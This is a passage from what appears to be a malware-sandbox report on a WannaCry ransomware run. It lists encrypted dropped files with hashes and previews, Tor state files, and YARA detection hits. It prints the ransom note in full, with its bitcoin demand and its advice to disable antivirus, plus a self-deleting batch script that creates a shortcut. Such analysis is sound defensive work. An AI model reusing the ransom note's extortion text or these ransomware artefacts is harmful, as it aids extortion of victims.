                                                                                                                        SSDEEP:12:bkEzm3AcQmazQVAV0XIq2QSogGu0rlFBiGj/zKP1PPKMwvYpPR9Qvqf0sXjkWbnl:bkdx6aWQN2jt+FpvYb98qBYWbnPFNl
                                                                                                                        MD5:6920DD4174EB3D03A3B9E66E535489FF
                                                                                                                        SHA1:6C40708F814DFA418AA5A4A30CF8FC35333B4443
                                                                                                                        SHA-256:A98057E144C1D1F4106371C0B7F04D28C16E8DDCA05C4616DEBFE48AEC09F41F
                                                                                                                        SHA-512:CDFD93F4E5D9B47C74CCED032497C145B9E076A5ED9874D61424CC0C1EAF3E3E0DA6F86EC91B6F7D7D1D12EB72B69789EF324B360E82B0031855701530E98732
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........}...'.........V.KJM{E#.E..{..lG....9Y$Bc"(.u..K..\..M....2....~.u.Tf.q.A>.M....e.......<....v...?T.w.N.....Fz...Z.G...}..F).$.=O..'.(G.V.<yc.a..o...\.w^..F.|..^..DJ.%=.l..!.+#*........F.%[.{d0..T. *.wo.R...,=_iN....|.).....y..;....u.j....#.....W.......*....W..Z....1x....0.........&..i6.x...b@...p}...=...)y..V..LJ....;.g.8..h.^...$..p.=)tL...M0...J....'.7_%.d.....+..l..........v...&.ex....V=.8.5...I.?C.U.X{.....s...... ..M.`@{"Q.ex....7......%.....iB,...w....W>...f.0.3...Yq.U=.,.6u.)..T[.VO../._.&.._-....K...l..TI.2...1en... .:._T......*.3..:X(u.3.P{........K8.....q".\.c......c.D.......-....}...4?Gy\..`..#.....Q.\l...r.w......~.E..Z9....q..).....P..5.\..&....A.C].6..Dp.~.P..e......._...=...(.x" .~..\I.K..#.:.N....EyF..;......P..F.j.V`.Cr...}".0w...q .c.o...2R......n..t..I>e+!...!0.l=..,m...I....d....HG.(

                                                                                                                        C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cert9.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):229656
                                                                                                                        Entropy (8bit):7.999204377734354
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:J3XTLMap8dp1G+Wc7yTxnuGX8T4zXnkNo5y1QOxZ9gJIHC:lX3Lp2G+Woy5uG8gnQ9GOxZY
                                                                                                                        MD5:37D6C2FBD217DE88FC33224966ACB4CD
                                                                                                                        SHA1:9150D9C84CAE429B6367A925280B5CED218AFA12
                                                                                                                        SHA-256:5D513303435484BE362751D6F28330838DD824C9B7EEAB38C14DF074A139ACD4
                                                                                                                        SHA-512:675BAFFD1F8DF25ABA13D28059A528435DE5438CDD340147E605D4084693134973D73AAF92AD8F117F1857CED3FF644D09AFA94D462222A69A945BE8AFF33C5D
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.........`..x.J/..........;...=.1.hY...A*4.W..4..L.$'.!...N....[....[.L....,.f..P*V]=n`..,..L.5}.<c....l..Q.c.h~....o...@.vo....KN|.y..r...r......F.,..<.m....C.a0. >...`VN..Ti.->.~...*j@..}.eD\..\ ..u....S.(.h..E..A.L...#)?..F..61... .<0..X.?d............0Kw........<..%.....';.E..........AO.~....?....e..y*.....i...@....w.FR....i.vA^..[.`..4_.6L.s.`..?...e..^4SZ..Cg...T)B5]..+e.z.......y.3......-{......L....0o.g...,.z.!xTs.........k!LP.\._{....BtK..N......*R...m..cA,c:9lgn.t..z.,.ynW.xe....J8.`4..jN....z...|q....o7h.....W|..i...9.......B.y....K..B.h..#SB...z.p[?.p{x.....y6.fm...f..A}'.h.t.[.)...q.'......x.KG...Tw%...yQ.ta4e...Y.kc...y=\...,/.{...vl.....SOF......Et..=.L.u..h....`...$...8......Lr.O.F...G..?.r..\.*1f.P@'....;../...G..........X....%p~.Vl.Z.F....:..8..o..iF../'..".g...q......'>...g...."..g..}.......O..L...2.q.\...>...'..2......|AX...D..a.$R...s.C.L....%.^......n...;|.....s.{.....O.X..b^..@K..R....^.._...'....j...5g.

                                                                                                                        C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\gmp-widevinecdm\4.10.2209.1\LICENSE.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):760
                                                                                                                        Entropy (8bit):7.73127811642453
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEPq3wY7HFOST0qnYdSMe/7Fh3SKBIKlPbYEsQrBcTAO5SneWg4Dz4Q5cUGpXoz:bkMq1HF1jYdSX/7L3peGPbYEtBTISO4B
                                                                                                                        MD5:8D05A9F81334C4024A9FD993A6780160
                                                                                                                        SHA1:52AFD174E2419D47EAF6560F169CB33CF00E4E55
                                                                                                                        SHA-256:528A4508942B8DAFB1CDBEAF8E7EE975DFA73150926D1E3C928BC824C7D791AF
                                                                                                                        SHA-512:C826388B05ACC8FEAF5C0248F8B0F77BEB791499DBF23678B88ABED2260EEEDFB0A9F20A65B0A570D3B68FD83047B9F265B3BB4F961616B780CDD979BEF1016D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......9s..].......T8Kc.y.=.Rh...#...M.Z.8....a..X.w..Ud...........?)...L.t.....W..%.p..K.O(K.k[..6..?..R.kO..^<..."Z9&?c^Hem... >.4#..b.].G..A...e....M..+.......qvZ.....j...16.|..@VF...Lv.}3...f.z....3_.E..)t.Od..`j,.[!9...#...M.b..5....K..j............n....;8..{o-....v.>.G.}..Px....{_>;.z.UIO..j...#.4....W.:.K.=.~........=I...\..<..0.@....HAa..E...>.X..i.!...A"...w.lxR...4yv.O.;/+.nM.i.X..$K.9.....(.]....SB.:.rC..a..qq}x...3........e.....yY........i.......O&G.%.....A....;.qoX,.,..2#&._.#.w....Y.."..%...Tkl..g.7 ...W....Q7.....|...x.g...9%...E..6t*...+]..(...%iZ...y....H...8".g..S."MT.]..V...,.].G.......[.)..<.j ..........1%m.Etu.......-.'c.e...w..5i.'X...C1J..y.v3K.%2A%.2..c...JP......[.37~...!.

                                                                                                                        C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\key4.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):295192
                                                                                                                        Entropy (8bit):7.999383244333747
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:W7BMEdAcuHyAB+ATo0xxQCiibo0dp07LDhKjlLeIYERzMw0M:WNMEdAce2AoCTo04NKjcIYE15
                                                                                                                        MD5:CFDD76C4502453FD965E6E760AE8F3C1
                                                                                                                        SHA1:27C7512AFF177EAEE8B4BCDEBAB58E2A265B5C33
                                                                                                                        SHA-256:F43AA3618E04DEAD279AAA6C4E5EBC1F9B7E1837476664348B3D8E45ED762258
                                                                                                                        SHA-512:5E6061965290E5501CCD013581E860E782CF7454B3C86814BA710C3E02AE95A19F333A513D7A84987647FE4F102D0F4A6EAB85D31D852F39524272B9A027583C
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....M~d.O1._.J.l.t...$*....X.. 4B..?x.l..H..D.|.(l..w.M.=,hR.$...Q...`=..Q..N.$l\....C.A<[.0@...N..E*m.9.N.j}.ZcTyN...2.I$.r.....M.......T#.......g....6.c.`r..au.gw.....X~..x......O....-....;...}.3.S.a.4y)t.Cz..Pp......{.e.$6.W..1..?G..m.*'.&....8..............=.z...../...g...?.e.L......O..g6.....]eQfQ7......*.Y....R.. m..Y....d...._..R.N.....=ifz....B.R..ex.=}.=..+..b\.-YQ.5eL.Vh.bs.$..*..n8.k....3.n.I}....s<a..T....gH....Bw.)...5..4...J.w...b&.Z..|-1.C..t...7......&...0!V.)l...o..o......h..E.M*.'_..5..o....|z&j.......z.R.~..9..!+...x.W..:....+ .q.H....E.V.&..=DR.c.,......3. v..X..$.Hx...8...U..n.>...o.Kz.x.c..Z.SV...*..7s.#z.Clfv.......9~z..d.~....e+.r..{..S9.Q....U.$.S{&R]&.c...c......9&:.{.....q.Q.......J..1."...O\%./...w..?.:..w........,.2..66..v7.W. .x..;.D..K.>.u........^.yQ..Z....r..._...8]Hu......B.uBi.K.^.]...1.......{.v.v..O.]hoK.`.w%....'.r..f..|.g&.^T..9^Q.......=o.N:...O.B8.f{.d....!.U..Q{..\.sw...6..4..b'c...m.....V.{w.

                                                                                                                        C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\pkcs11.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):792
                                                                                                                        Entropy (8bit):7.731339507851761
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkLq18hC0fjLx7CXzB6RvF3jMTlUgvqcH3Oht:bkobXzB6jSSgvquO/
                                                                                                                        MD5:680B2AF11794D153CA759C1D9089CF69
                                                                                                                        SHA1:298E5EBE42110DFB168ED2825569300E8124620D
                                                                                                                        SHA-256:417A7E1250FC2EDED7EDFC0D262418AA8CC78C1954C3F4705DD9189C79724008
                                                                                                                        SHA-512:62098E43652D00C417B9F434286BAB0EDE4FC89141D4167DF7083242FF03AAE4CBB458CEADFD7E3071089FBF0CE04E084F31C93063950D57AB5B2A3230A03B96
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......#....ZN..u....3h.\2......s.....Y....z.H.....6DN- ....nQd.O.x.c.Ue.....5..5sQ....1S.<.....7\*.,`[ck.X0....z.k..U>.|......la9..&_...q..I...^.....(....}.......=.....o...*t-e!......s...Z.E)..GJ.....Q.|.v?......[./.f$x. .7.3(..T:..g$...J.#...................n.._o]4'......,Q.......7.p.|..9.~.fnt.7..VR.B...my.,.Gy..)9.|.t...%.][...cSX.X].[...~Qiu.~...R.:.......Q#....8..*P.^.......v@.5.'.m.'.G.!h.@`.V....g.^....K'3.>Y.:.\.Y]p...4..c.."T..X...^YK.k.......g.362c.vJ,.-.p7...c..Y....#... ......V..&.7D$.n{}C+.......?B..........)=m..s...6.....o...4.YA.R.M..{G...OX}...h..,....rV......P.B..qB..Hr.:8.../...._..q(.p....R...(.Q%.6r...YB...PL...L.z..I. ..v.PV........6.{.....?H.._..N.....0K-...^.z..%..n.../_.^F(..I.W.s....&....c[>.jaJo..... ."..2.pH.T

                                                                                                                        C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\prefs.js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):12216
                                                                                                                        Entropy (8bit):7.980848323440108
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:oyKiGd9EXW1XWiujJ1gG2Dz4viN1NcdPmrRlO8GWaeQUoM+DvqEBf4O/KvKth6zf:oys9EXbBJ1g9z466m3bG1eQh7/Bf4yK5
                                                                                                                        MD5:218AB937D87A4242A1FB9948AED15120
                                                                                                                        SHA1:8B362BFE2F7525A645D90F66B2A5EEEBE3E8BC05
                                                                                                                        SHA-256:2615E471248F6ECEE46EB9262607E1ADAD18F0EA13AA1F895D4311528D1CD965
                                                                                                                        SHA-512:B9F9C908092C21BACB1623A9BF8605A98D2B1078F539886D231D23110FEE42892443092F8A42B3B9425EEA4FA1FD4A31A31A68F298868491CD209134A5F1A309
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......H.n....2]/.#... T..........'Sz{....i.6.....D.../3M46g=..Bq.}._.h.M....6..Fk...'.u...=L......;....s.+....x.......dO@.ckb....F..)...o..5:.D.)uDz...K.x...-..V..f...H.._.+..R...*..Al.b..'5.f....MC.F..|..0.....su!..T..Qn_.s.>.U.H.s.Q..v............../LcB...TJ.Sx.k....v.(a...F...o.......N.E....K.*9.;5n......>m.t.L....+ T........h..C......2.._...o..Cc..%.......Cz..8~........m....(.2.J.~.L.k..'.<.7BK"....fa...C..A.O1..rA...Z.......H..^.,.S...T_@...H.63.1?.{Ri.H.z.VV......^...(..9_..]:D....}..LB2..|;....q.....f....S.m......j..'.L..w..VcA.X.98)...!FM6.F!.[...4N..H...e..}.1..qG..{.=....8.!&x.T).............1.:...J1....m.....`.{..=..>....A.sl.0.....b.f.......NG./.tI.7...c.;.D..CG....f. .l|....J..-oqB....skQB<G(...h....l[.ro.L...{..`.........V{.. ...$0._..V_..H....7...lS.K#..i..~%n.o.%... .ak..y.;<.u.]..U....OT..X.v.x.|.HL.n.sy-6.dB.."K.<C=....%.1M....,....4....A.w.>.a...N..l.@.......o.u.|T...g..........x..Q...%V8..

                                                                                                                        C:\Users\user\AppData\Roaming\tor\state (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):383
                                                                                                                        Entropy (8bit):5.222685179189487
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:SbdWwxXZKFbnXr87+QVe2vwR/EntvospnqhEasT0DspneqUtP04WWURbibfl83Ty:bwxXZKXr87HVBvwNUvmEN0ywPhPWy
                                                                                                                        MD5:25E67DF68D5671B7127DE06A17D79ED3
                                                                                                                        SHA1:760B1079FAB372AF20BA3F9746AC5EBF59EAB0C7
                                                                                                                        SHA-256:8004B994C63FD5FBFED9E7135D413873FD4C6A10F931557C0D4EE5F8B7A77A4E
                                                                                                                        SHA-512:CAF54CFB978CC9C3BCF86E08A3B87B43D4224A18F771A3830E43C57F80D1608BCEB2CB3D7C9205D019AC139498324E69A5B5EE42B501DE04A2B7340E75348BA7
                                                                                                                        Malicious:false
                                                                                                                        Preview:# Tor state file last generated on 2025-01-08 14:52:16 local time..# Other times below are in UTC..# You *do not* need to edit this file.....EntryGuard mustiness 347735738D80E7859ADA57AF8624A01681BCB71B DirCache..EntryGuardAddedBy 347735738D80E7859ADA57AF8624A01681BCB71B 0.2.9.10 2024-12-20 10:45:47..TorVersion Tor 0.2.9.10 (git-1f6c8eda0073f464)..LastWritten 2025-01-08 19:52:16..

                                                                                                                        C:\Users\user\AppData\Roaming\tor\state.tmp

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):383
                                                                                                                        Entropy (8bit):5.222685179189487
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:SbdWwxXZKFbnXr87+QVe2vwR/EntvospnqhEasT0DspneqUtP04WWURbibfl83Ty:bwxXZKXr87HVBvwNUvmEN0ywPhPWy
                                                                                                                        MD5:25E67DF68D5671B7127DE06A17D79ED3
                                                                                                                        SHA1:760B1079FAB372AF20BA3F9746AC5EBF59EAB0C7
                                                                                                                        SHA-256:8004B994C63FD5FBFED9E7135D413873FD4C6A10F931557C0D4EE5F8B7A77A4E
                                                                                                                        SHA-512:CAF54CFB978CC9C3BCF86E08A3B87B43D4224A18F771A3830E43C57F80D1608BCEB2CB3D7C9205D019AC139498324E69A5B5EE42B501DE04A2B7340E75348BA7
                                                                                                                        Malicious:false
                                                                                                                        Preview:# Tor state file last generated on 2025-01-08 14:52:16 local time..# Other times below are in UTC..# You *do not* need to edit this file.....EntryGuard mustiness 347735738D80E7859ADA57AF8624A01681BCB71B DirCache..EntryGuardAddedBy 347735738D80E7859ADA57AF8624A01681BCB71B 0.2.9.10 2024-12-20 10:45:47..TorVersion Tor 0.2.9.10 (git-1f6c8eda0073f464)..LastWritten 2025-01-08 19:52:16..

                                                                                                                        C:\Users\user\Desktop\00000000.pky

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:b.out overlay separate pure segmented executable V3.0 86 Large Text Large Data Huge Objects Enabled
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):276
                                                                                                                        Entropy (8bit):7.169764492853266
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:mtNO2DcOFbovyO3EEuJ07Upu+Y1jqzZx5onA+fQ:YONOFbo7ERCcnaGzf5orQ
                                                                                                                        MD5:52B73C7EE5CD20F677C2810833121F07
                                                                                                                        SHA1:C01782A988C467E0FE82E1566BD378271CDD9C74
                                                                                                                        SHA-256:6C21DD2D5ACCDCE148412B7A2B95018EE5E59FBA547EE9022300C207BA96D469
                                                                                                                        SHA-512:E3A7921BA14E5F841D4464C990164646FB1CAE4951C833FF06A3C26127CBF8F1A9382C8D563CD9D421ADE5589011478B2E244DA4363E191C9D612257BF0D46F7
                                                                                                                        Malicious:true
                                                                                                                        Preview:........RSA1...........7m..F...1.y.l..`...U........*q.A...p....6T...a.%-k...n.R5..:.N....d....`T..;..@;...4.-.*.:X.R.?r.$.E.vB.]IY.4.b.U.\..8...n...O...... .>......SE....!....mC8..c...>..]....[..$...C...W.>(..,.J./......w(....;....d..uT.j....P/[B......

                                                                                                                        C:\Users\user\Desktop\00000000.res

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:modified
                                                                                                                        Size (bytes):136
                                                                                                                        Entropy (8bit):1.2233025807003515
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3:5mgKllllllAC/ltRumlK8EX:4xtplqmlK8E
                                                                                                                        MD5:A6C44F7AB74472C044D879ED1D7C6BF8
                                                                                                                        SHA1:F813E91EE4B75669B43B47922EF18342666AB614
                                                                                                                        SHA-256:8C7FC5009899D8D621F11A9856D472994B7DD3BC7C4E7471E7CB498AABF6E52A
                                                                                                                        SHA-512:9BC9686A4DC648CDBE4A4B97A3F4FC023FF325B3E37F1CFCDF6EC1C8196918F9F6398DD87187D8A5413ECAB0DD712CC6D93492F53223D274073AEB093C188FFD
                                                                                                                        Malicious:false
                                                                                                                        Preview:..C...............................................................................................~g................|..g.........W.....

                                                                                                                        C:\Users\user\Desktop\251361736365593.bat

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:DOS batch file, ASCII text, with CRLF, CR line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):320
                                                                                                                        Entropy (8bit):5.087022538559631
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3:mKDDfewSiponv6xewImKFcsDONy+WlynJ96wYexi+XCrbPONy+WlynJfF06xiHYM:hqn4+B9TnRoJgpPnRoJ0F9a2T2ZLT2Ln
                                                                                                                        MD5:09AAE1ABF5568DD1F940137DD8DAF634
                                                                                                                        SHA1:857AFA678E47B47033502409FF9F1ED630B2DB72
                                                                                                                        SHA-256:0520935E7778057E45B297E4B934EE3CE3DB1051B67BE1DD9015BACB5B36CD15
                                                                                                                        SHA-512:6BFE594D04349B567375B027D8468D8059428E1BD03C80A0006522ECA998D34597ECD62A6462C2668A9C38C11A3B663C781DC385E6AF5F32A7E6152317E82453
                                                                                                                        Malicious:false
                                                                                                                        Yara Hits:
                                                                                                                        • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\251361736365593.bat, Author: Florian Roth
                                                                                                                        • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\251361736365593.bat, Author: Florian Roth
                                                                                                                        • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\251361736365593.bat, Author: Florian Roth
                                                                                                                        • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\251361736365593.bat, Author: Florian Roth
                                                                                                                        • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\251361736365593.bat, Author: Florian Roth
                                                                                                                        • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\251361736365593.bat, Author: Florian Roth
                                                                                                                        • Rule: WannCry_BAT, Description: Detects WannaCry Ransomware BATCH File, Source: C:\Users\user\Desktop\251361736365593.bat, Author: Florian Roth
                                                                                                                        Preview:@echo off...echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs...echo SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")>> m.vbs...echo om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe">> m.vbs...echo om.Save>> m.vbs...cscript.exe //nologo m.vbs...del m.vbs.....del /a %0..

                                                                                                                        C:\Users\user\Desktop\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\Desktop\@WanaDecryptor@.bmp

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1440054
                                                                                                                        Entropy (8bit):0.3363393123555661
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                                                                                                        MD5:C17170262312F3BE7027BC2CA825BF0C
                                                                                                                        SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                                                                                                        SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                                                                                                        SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                                                                                                        Malicious:false
                                                                                                                        Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Desktop\@WanaDecryptor@.exe

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):245760
                                                                                                                        Entropy (8bit):6.278920408390635
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                        MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                        SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                        SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Windows\SysWOW64\cscript.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\Desktop\BNAGMGSPLO.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.79090852074537
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:Td1IpGb+uzH9k755A+3P0akOTEN5wPpFxbyw:PwGbXHW7TAFPWENuFxbn
                                                                                                                        MD5:71CDCB9AA98254CEDC86950A7EEBC02D
                                                                                                                        SHA1:25B679548942CA7210B0AFC8955F8113CF0F2057
                                                                                                                        SHA-256:87F4436C25D6AE76FBFF433CA6717CD49B5151F0861D28A07D223FA96CD4A18B
                                                                                                                        SHA-512:A536A911DCF96B0E960924FAFB03FCB5639365F00110CF5B122125C3CE0523E529C59E14AA8586DAEADDBB1C00678F2F6C569DA0A5C6997AD746C62E2DFAB054
                                                                                                                        Malicious:false
                                                                                                                        Preview:I...".e..;..Cm...C.H.CLy...~....6%....Ek2H..p1:..;X.eI.%:.......2R.6..T..G..:....6.d..k|.......P%..A...m..FV..."P.~...n.p$&.......[d;.Cp.D.b...p.M...op_./......a...........o.0.f.:..G.i.*..u../.8.G.bw.....oC...>..h9...@&/...D..Z...2...P.=...3.4.....ym......Tl..^.x.gl>...|R!R.Y+e....V.%...&ctU./.;...."m..ZI.6..GaK!M..E..^.....h..x..{..==....6...\g.J..+.}h...m.T..pb..s..<C.o..jgC._.....^......$eH..3...FE#.]F....V...{.x,.B..HbYp7...P......@..9..I.tQ..=.....D._V@.X}_..5z..o0a{Qp.YO...J..o.h..$.N....D......yt2\....d.e.O.v4.x@.N,f...W.QQ).x9_...WU./>...9o.A.S>......bx...8kwW=.t8-6T..}..A.).b.^.1."...D.E0..H.2..'].....*|.6!.d.U(..Z%...:?...0z.......I0...H..M._..~......z/....O..\Id$......_8n....b.)\.L.{.I.m.."l...80.T..D^.OEe$...i<...4.2..v.@.]....$..=O.P..3....D,.I<....M..lyK.&.t...s.\.v..(g..{.d..+..*.....-b5.M}......_....r.7.;I...IA."..+3<.y.....S......./%.Z.S......}nW..h..t 7..=......f.....T...m..........S...i.,Sh...i....X.B.....1...]....5

                                                                                                                        C:\Users\user\Desktop\BNAGMGSPLO.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
